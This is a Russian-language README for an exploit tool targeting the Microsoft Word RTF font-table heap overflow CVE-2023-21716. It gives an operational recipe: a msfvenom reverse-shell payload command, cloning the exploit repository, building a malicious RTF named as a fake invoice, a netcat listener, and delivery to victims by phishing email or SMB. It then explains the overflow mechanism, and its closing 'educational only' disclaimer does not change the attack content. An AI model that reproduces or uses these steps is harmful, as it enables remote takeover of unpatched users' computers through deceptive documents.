CVE-2023-21716 — Уязвимость переполнения кучи RTF fonttbl в Microsoft Word (RCE)

Серьёзность: Критическая (CVSS 9.8)
Затронуто: Microsoft Word 2013 / 2016 / 2019 / 2021 (без обновлений)
Обновление: Microsoft February 2023 Patch Tuesday
Автор: REGGYRAIDER

Обзор уязвимости

CVE-2023-21716 — это уязвимость повреждения кучи в RTF-анализаторе Microsoft Word (wwlib.dll).
Когда Word обрабатывает директиву \fonttbl, содержащую более 32 767 записей шрифтов, происходит переполнение внутреннего 16-битного счётчика со знаком, повреждающее метаданные кучи. Это позволяет злоумышленнику добиться удалённого выполнения кода, просто отправив жертве специально созданный .rtf-файл.

Никаких макросов. Никакого взаимодействия с пользователем, кроме открытия файла.

Настройка и эксплойт

Шаг 1 — Создать сырой шеллкод с помощью msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f raw -o payload.bin

Шаг 2 — Клонировать этот репозиторий

git clone https://github.com/REGGYRAIDER/CVE-2023-21716
cd CVE-2023-21716

Шаг 3 — Создать вредоносный RTF

python3 exploit.py payload.bin invoice_march2024.rtf

Шаг 4 — Запустить слушатель

nc -lvnp 4444

Шаг 5 — Доставить файл

Загрузите через SMB, вложение электронной почты или любой фишинговый вектор.
Когда жертва открывает invoice_march2024.rtf в необновлённом Word, вы получаете обратную оболочку.

Как это работает

Злоумышленник создаёт RTF       Word обрабатывает \fonttbl      Куча повреждена
─────────────────────  ──►   ──────────────────────  ──►  ──────────────
\fonttbl с 32769+           16-битный счётчик со знаком   Код злоумышленника
определения шрифтов             переполняется → 0x8000      шеллкод выполняется

1. Эксплойт встраивает 32 769 определений шрифтов \f<N> внутрь \fonttbl.
2. Word выделяет буфер фиксированного размера на основе переполненного счётчика.
3. Последующие записи шрифтов выходят за пределы выделенного буфера, повреждая соседние блоки кучи.
4. Сырой шеллкод (из payload.bin) помещается внутрь \pict и оказывается в повреждённой области, получая управление при обработке аллокатором.

Предупреждение

Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение.
Использование этого эксплойта против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения, незаконно.
Автор не несёт ответственности за неправомерное использование.

Ссылки

• Рекомендации Microsoft по безопасности
• Запись в NVD